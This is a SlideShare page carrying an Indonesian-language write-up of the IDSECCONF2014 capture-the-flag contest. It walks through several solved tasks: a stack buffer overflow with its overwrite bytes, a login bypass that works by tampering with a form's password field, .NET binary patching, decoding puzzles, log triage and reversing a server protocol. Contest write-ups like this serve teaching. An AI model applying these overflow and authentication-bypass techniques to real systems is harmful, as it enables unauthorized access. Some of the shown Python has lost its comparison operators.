Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
IDSECCONF2014 CtF writeup by nganggur 
Easy Exploit 
.text:0804850C public main 
.text:0804850C main proc near ; DATA XREF...
.text:08048540 call _printf 
.text:08048545 mov eax, [esp+2Ch] 
.text:08048549 mov [esp+4], eax 
.text:0804854D mov dword ...
Dari kode diatas, program ini akan mengeksekusi perintah /bin/cat valid/flag (file yang isinya flag) 
apabila nilai di [es...
Easy Forensic, 
Nyembunyiin object/text di balik image di pdf. 
Solusi : 
1. buka aja file pdf nya lewat pdf viewer nya li...
Easy Programming. 
Kita dikasih deret 1, 1, 1, 3, 5, 9, 17, 31, 57, 105, 193, 355 
Dari googling sedikit, didapat kalo der...
Easy Web. 
Easy web ini mengeksploitasi CSRF (cross site request forgery) 
Bisa dilihat dari struktur html nya yang tidak ...
Selamat Datang, admin 
flag:mantaplah_br0_l4njutk4n 
Disini kita bisa menyimpulkan, dengan mengganti input name password d...
Easy Reversing. 
Disini kita dikasih binary EXE. 
EXE ini adalah format EXE dari microsoft .NET 
Salah satu cara buat anal...
Disini ada 3 hal yang bisa kita lakuin : 
1. Cari apa sebenarnya isi dari variabel text 
2. Langsung keluarin messagebox y...
Untuk patching, kita akan mengganti istruksi : 
Instruksi brtue loc_314 (2D 13) diganti menjadi brtue.s loc_339 (2D 00) 
A...
Jadi apapun string yang kita input, program akan menampilkan flag nya.
Easy Crypto 
Kita dikasih base64 string 
VGlkYWsgc2VnYW1wYW5nIGl0dWxhaCBtYXMgYnJvLiBkZWNyeXB0IGluaTogDQo2ODc0NzQ3MDNhMmYyZ...
Medium Forensic, 
Kita dikasih file berupa snapshot dari server yang compromised. 
Dari penelusuran, ada file menarik di d...
;; 
*) 
false 
;; 
esac 
} 
if [ $# -eq 0 ]; then 
echo [*] Liat semua IP 
yakin  cari 
else 
echo [*] Cari IP dari : $1 
...
Medium Crypto, 
Disini, hint yang ada cuman dari filename aja falsedottc 
Dari ekstension file, bisa ditebak kalau file in...
Medium Reverse 
Disini kita dikasih executable, encoded string, dan petunjuk key yang dipakai, executable nya adalah progr...
Dengan menggunakan plugin Hex-rays disassembly, didapat : 
Dimana yang menarik disini adalah, fungsi encode ini merupakan ...
Setelah teks dan clue diganti oleh CTF lord nya, akhirnya level ini bisa terpecahkan. (asli.. ga nemu key buat decode stri...
Bonus : Hard Reverse 
Meskipun level ini ga selesai pas ctf, ane iseng ngerjain aja (pas ctf cuman dikasih sejam buat nyel...
Ini call yang ada di dalam loop main call. 
sub_40109D adalah fungsi pengecekan string pembuka dimana apabila client salah...
Ini fungsi pengecekan kata pembuka : 
Server HARUS menerima string ohmyweeekendplisn dari client.
Selanjutnya, server akan mengulang proses pada sub_400ED2 sebanyak 54h (84) kali dan apabila return dari fungsi tersebut s...
Di dalam sub_400ED2, ada 2 fungsi yang menarik yaitu sub_400CEC dan sub_400E58. 
Fungsi di sub_400CEC, akan mengambil inpu...
Snapshot pada fungsi sub_400CEC : 
Di fungsi ini, ada 3 loop dimana tiap loop akan memroses tiap karakter yang ada dari st...
def encode_part2(part2): 
i = 0 
c2 = 0 
c3 = 0 
ln = len(part2) 
arr = [0] * ln 
j = 0 
while i  ln: 
arr[i] = ((i  4) + ...
Dan untuk string decodernya : 
def decode_part2(part2): 
ln = len(part2) 
i = ln - 1 
c2 = 0 
c3 = 0 
arr = list(part2) 
w...
Server : 
Client : 
Source code dari client bisa dilihat di test-client.py
Upcoming SlideShare
Loading in …5
×

How to hack #IDSECCONF2014 ctf online challenge - nganggur

1,278 views

Published on

How to hack #IDSECCONF2014 ctf online challenge - nganggur

Published in: Technology
  • Be the first to comment

How to hack #IDSECCONF2014 ctf online challenge - nganggur

  1. 1. IDSECCONF2014 CtF writeup by nganggur Easy Exploit .text:0804850C public main .text:0804850C main proc near ; DATA XREF: _start+17o .text:0804850C push ebp .text:0804850D mov ebp, esp .text:0804850F and esp, 0FFFFFFF0h .text:08048512 sub esp, 30h .text:08048515 mov dword ptr [esp+2Ch], 0 .text:0804851D lea eax, [esp+18h] .text:08048521 mov [esp+4], eax .text:08048525 mov dword ptr [esp], offset a25s ; %25s .text:0804852C call ___isoc99_scanf .text:08048531 lea eax, [esp+18h] .text:08048535 mov [esp+4], eax .text:08048539 mov dword ptr [esp], offset format ; buf: %sn
  2. 2. .text:08048540 call _printf .text:08048545 mov eax, [esp+2Ch] .text:08048549 mov [esp+4], eax .text:0804854D mov dword ptr [esp], offset aVal0x08x ; val: 0x%08xn .text:08048554 call _printf .text:08048559 cmp dword ptr [esp+2Ch], 0C0FFEE76h .text:08048561 jnz short loc_8048582 .text:08048563 mov dword ptr [esp], offset s ; Mantap,flag: ! .text:0804856A call _puts .text:0804856F mov dword ptr [esp], offset command ; /bin/cat valid/flag .text:08048576 call _system .text:0804857B mov eax, 0 .text:08048580 jmp short locret_804859A .text:08048582 ; --------------------------------------------------------------------------- .text:08048582 .text:08048582 loc_8048582: ; CODE XREF: main+55j .text:08048582 mov dword ptr [esp], offset aTidakkkkkk ; Tidakkkkkk!!! .text:08048589 call _puts .text:0804858E mov dword ptr [esp], 1 ; status .text:08048595 call _exit .text:0804859A ; --------------------------------------------------------------------------- .text:0804859A .text:0804859A locret_804859A: ; CODE XREF: main+74j .text:0804859A leave .text:0804859B retn .text:0804859B main endp
  3. 3. Dari kode diatas, program ini akan mengeksekusi perintah /bin/cat valid/flag (file yang isinya flag) apabila nilai di [esp+2Ch] adalah 0C0FFEE76h (Bisa dilihat pada alamat 08048559) Di alamat 0804852C, program akan mengambil inputan dari stdin lewat fungsi ___isoc99_scanf dan buffer nya diletakkan di alamat [esp+18h]. Jumlah buffer 'normal' yang akan menampung inputan tersebut adalah 2Ch - 18h = 14h (20 karakter), sehingga apabila input yang diambil oleh program melebihi 20 karakter, buffer pada [esp+2Ch] akan dioverwrite. Dan nilai dari [esp+2Ch] harus sama dengan 0C0FFEE76h jika ingin program ini mengoutpukan flag dari file valid/flag. Salah satu cara input dari stdin adalah dengan mengetikkan langsung karakter ke terminal. Masalahnya nilai 0C0FFEE76h tidak bisa diketik langsung ke terminal. Terminal hanya memroses karakter unicode dan bukan ASCII. Jadi inputnya harus pake trik dari file kemudian di 'cat' filenya ke stdout, lalu di pipe ke programnya. cat exploit | ./expl1 isi filenya adalah : 12345678901234567890vîÿÀ 20 karakter buffer asli, dan 4 byte buffer sisipan 76 EE FF C0
  4. 4. Easy Forensic, Nyembunyiin object/text di balik image di pdf. Solusi : 1. buka aja file pdf nya lewat pdf viewer nya linux. Adobe reader nya windows ga bisa nampilin teks yang disembunyiin di balik gambar di pdf nya. 2. setelah buka file pdf nya, pencet aja ctrl+A buat nampilin flag nya
  5. 5. Easy Programming. Kita dikasih deret 1, 1, 1, 3, 5, 9, 17, 31, 57, 105, 193, 355 Dari googling sedikit, didapat kalo deret ini adalah deret tribonacci dengan inisialisasi a,b,c = 1 Dan kita disuruh nyari pada elemen ke berapa dari deret tersebut yang nilainya : 1471338318398529007088445426.......833044527384388989361673409 Solusi : bruteforce. Script python : def fiblike(start): addnum = len(start) memo = start[:] def fibber(n): try: return memo[n] except IndexError: ans = sum(fibber(i) for i in range(n-addnum, n)) memo.append(ans) return ans return fibber fibo = fiblike([1,1,1]) for i in range(2000000): s=(%s) % fibo(i) if s[:10] == '1471338318': print i break elemen tersebut berada di index 131338
  6. 6. Easy Web. Easy web ini mengeksploitasi CSRF (cross site request forgery) Bisa dilihat dari struktur html nya yang tidak menyediakan csrf token pada form method post. Cara eksploitasinya adalah save file web nya menjadi html dan ganti url action pada method post nya form class=form-signin method=post action=http://74.120.223.237/web1/proses.php Clue selanjutnya adalah : Array Target exploit selanjutnya adalah bermain dengan parameter POST nya. Setelah mencoba dengan mengubah parameter passwd menjadi : input name=id value=test class=form-control type=text input name=passwd[] class=form-control type=text value=$_FLAG Output dari html nya adalah : Selamat Datang, test dan di view-source nya, ada clue lagi : !--clue: cobalah dengan user yang lain untuk mendapatkan flag-- Setelah mencoba dengan user : admin input name=id value=admin class=form-control type=text ketemu flag nya :
  7. 7. Selamat Datang, admin flag:mantaplah_br0_l4njutk4n Disini kita bisa menyimpulkan, dengan mengganti input name password dengan array, semua input user akan diterma karena semua password akan diload oleh script. Jadi apapun input password kita, asalkan username nya benar, sistem akan menganggap inputan itu valid.
  8. 8. Easy Reversing. Disini kita dikasih binary EXE. EXE ini adalah format EXE dari microsoft .NET Salah satu cara buat analsisi .NET executable adalah menggunakan ILSpy (http://ilspy.net/) Setelah dibuka dengan ILSpy, bagian yang menarik dari program ini adalah :
  9. 9. Disini ada 3 hal yang bisa kita lakuin : 1. Cari apa sebenarnya isi dari variabel text 2. Langsung keluarin messagebox yang isinya stringBuilder.ToString() 3. Patch programnya, jadi apapun string yang diinput, program akan menampilin message box yang teksnya adalah Flag. Untuk opsi 1 dan 2, kita bikin program yang sama, dengan kode yang sama menggunakan Microsoft Visual Studio. Hasilnya : Password : ganteng2014 Flag : 9bd03cfdfe10124755e2a051288c6dda
  10. 10. Untuk patching, kita akan mengganti istruksi : Instruksi brtue loc_314 (2D 13) diganti menjadi brtue.s loc_339 (2D 00) Alur programnya akan berubah menjadi seperti ini :
  11. 11. Jadi apapun string yang kita input, program akan menampilkan flag nya.
  12. 12. Easy Crypto Kita dikasih base64 string VGlkYWsgc2VnYW1wYW5nIGl0dWxhaCBtYXMgYnJvLiBkZWNyeXB0IGluaTogDQo2ODc0NzQ3MDNhMmYyZjY0NmMyZTY0NzI2ZjcwNjI2Zjc4MmU2MzZmNmQyZjczMmYzMjM0NjkzMTZiNzEzNjc5NjM2ZjZmNjg3MTZhNmMyZjYzNzI3OTcwNzQ2ZjMxNDY2YzYxNjcyZTZkNzAzMw== dan ketika di decode, hasilnya : Tidak segampang itulah mas bro. decrypt ini: 687474703a2f2f646c2e64726f70626f782e636f6d2f732f323469316b713679636f6f68716a6c2f63727970746f31466c61672e6d7033 String tersebut adalah hexstring dari sebuah string, dimana ketika didecode (http://www.string- functions.com/hex-string.aspx) hasilnya : http://dl.dropbox.com/s/24i1kq6ycoohqjl/crypto1Flag.mp3 Setelah didownload, mp3 ini isinya adalah code morse. Decode morse ini bisa lewat apps android Morse Code Reader : https://play.google.com/store/apps/details?id=org.jfedor.morsecodehl=en setelah didecode, hasilnya : FUNM0RS3C0D3
  13. 13. Medium Forensic, Kita dikasih file berupa snapshot dari server yang compromised. Dari penelusuran, ada file menarik di directory /home/clude/ahay yang isinya disuruh cek log. Hint dari web ctf nya adalah : penyerang nya berasal dari afrika. Di directory /var/log, hanya ada 1 log yang menarik yaitu log dari apache2 Karna hint nya seperti itu, kemungkinan kita akan mencari pengakses web dengan ip yang berasal dari negara afrika. Nah, solusi paling gampang adalah filter ip dari access log apache, sort dan ilangin duplikasi ip nya terus cari tau ip itu berasal dari negara mana. Solusinya bisa diliat dari script medium-forensic.sh #--------------------------------------------------------------- #!/bin/bash IP=$(cat ./access.log | awk {'print $1'} | sort -u) cari () { for X in $IP; do I=$(echo $X) echo [+] IP $I berasal dari : C=$(geoiplookup $I | head -1 | cut -d ':' -f2) echo [+] IP $I berasal dari : $C done } yakin () { read -r -p ${1:-Yakin nih? [y/N]} response case $response in [yY][eE][sS]|[yY]) true
  14. 14. ;; *) false ;; esac } if [ $# -eq 0 ]; then echo [*] Liat semua IP yakin cari else echo [*] Cari IP dari : $1 cari | grep -i $1 fi #---------------------------------------------------------------------- Command yang dipakai :
  15. 15. Medium Crypto, Disini, hint yang ada cuman dari filename aja falsedottc Dari ekstension file, bisa ditebak kalau file ini adalah file TrueCrypt. Jadi kemungkinan besar, file ini adalah partisi harddisk. Jadi kita mount dulu filenya, step step nya : 1. yum install tcplay util-linux 2. sudo losetup -f falsedottc 3. sudo tcplay -m falsedottc -d /dev/loop0 nah.. disini TrueCrypt nya minta password. Tebakan pertama, passwordnya : idsecconf ternyata benar! :p 4. sudo mkdir -p /mnt/tc sudo mount -o nodev,nosuid,uid=1337,gid=1337 /dev/mapper/falsedottc /mnt/tc 5. cuman ada 1 file di dalam partisi itu, dan filenya namanya flag.txt cat /mnt/tc/* #flag.txt here_iam_rock_you_like_a_hurricane
  16. 16. Medium Reverse Disini kita dikasih executable, encoded string, dan petunjuk key yang dipakai, executable nya adalah program untuk mengencode string menggunakan key. Kita disuruh buat decode string VLZHXPZNYRBXPMEB dan key untuk decode nya harus dicari sendiri (clue : key ada didalam encode). Dari analisis program, pemanggilan fungsi untuk encode ada di Dan fungsinya sendiri adalah :
  17. 17. Dengan menggunakan plugin Hex-rays disassembly, didapat : Dimana yang menarik disini adalah, fungsi encode ini merupakan fungsi encode mod 26 c = (p + k) mod 26 Sehingga fungsi decodenya adalah p = (c – k) mod 26 c = ciphertext, p = plaintext, k = key Dan ini code yang saya buat untuk decode string :
  18. 18. Setelah teks dan clue diganti oleh CTF lord nya, akhirnya level ini bisa terpecahkan. (asli.. ga nemu key buat decode string pertamanya..) To decode : WFGNEOFGEDQGE Key : ABCD Sehingga string asli setelah di decode adalah : WEEKENDDECODE
  19. 19. Bonus : Hard Reverse Meskipun level ini ga selesai pas ctf, ane iseng ngerjain aja (pas ctf cuman dikasih sejam buat nyelesain level ini.. ctf lord nya rada rada kejam keknya.. :p) Singkat cerita, executable dari hardrev ini adalah sebuah server yang standby untuk menerima dan mengirim string dimana untuk memulai proses kirim terima string ini, ada 1 kata pembuka yang harus dikirim client ke server yaitu : ohmyweeekendplisn Setelah server menerima string itu, server akan mengirim 84 string random yang diencode 2 kali ke client. Apabila client bisa mengirim balik decoded string nya (plaintext) maka server akan mengirim flag ke client. Call ke loop utama program :
  20. 20. Ini call yang ada di dalam loop main call. sub_40109D adalah fungsi pengecekan string pembuka dimana apabila client salah mengirim string, program akan berhenti.
  21. 21. Ini fungsi pengecekan kata pembuka : Server HARUS menerima string ohmyweeekendplisn dari client.
  22. 22. Selanjutnya, server akan mengulang proses pada sub_400ED2 sebanyak 54h (84) kali dan apabila return dari fungsi tersebut selalu true, pada loop terakhir server akan membaca file flag dan mengirimkan isinya ke client.
  23. 23. Di dalam sub_400ED2, ada 2 fungsi yang menarik yaitu sub_400CEC dan sub_400E58. Fungsi di sub_400CEC, akan mengambil input string random dari program dan outputnya adalah array dari integer sebanyak panjang string inputan, dan sub sub_400E58 akan mengambil input dari array tersebut, setiap elemen dari array itu akan diconvert ke string, kemudian diencode dan hasil string nya akan dikirim ke client. Setiap karakter input, akan dikurangkan dengan 10 dan diappend dengan karakter 5Fh (_) sebanyak 2 karakter.
  24. 24. Snapshot pada fungsi sub_400CEC : Di fungsi ini, ada 3 loop dimana tiap loop akan memroses tiap karakter yang ada dari string dan mentranformasi string tersebut menjadi array dari bilangan integer. Berikut code python untuk encode string :
  25. 25. def encode_part2(part2): i = 0 c2 = 0 c3 = 0 ln = len(part2) arr = [0] * ln j = 0 while i ln: arr[i] = ((i 4) + ln) ^ ord(part2[i]) c2 = 0 while c2 i: arr[c2] = arr[c2] ^ (~(arr[i])) c3 = 0 while c3 c2: arr[c3] = arr[c3] + (~(arr[c2] ^ arr[i])) c3 += 1 c2 += 1 i += 1 return arr
  26. 26. Dan untuk string decodernya : def decode_part2(part2): ln = len(part2) i = ln - 1 c2 = 0 c3 = 0 arr = list(part2) while i = 0: c2 = i - 1 while c2 = 0: c3 = c2 - 1 while c3 = 0: arr[c3] = arr[c3] - (~(arr[c2] ^ arr[i])) c3 -= 1 arr[c2] = arr[c2] ^ (~(arr[i])) c2 -= 1 arr[i] = ((i 4) + ln) ^ arr[i] i -= 1 ch = [chr(x) for x in arr] return .join(ch) Flag dari level ini gak diketahui karna server buat ngetest nya udah dimatiin. Tapi dari hasil eksekusi, nampaknya level ini berhasil ditembus.
  27. 27. Server : Client : Source code dari client bisa dilihat di test-client.py

×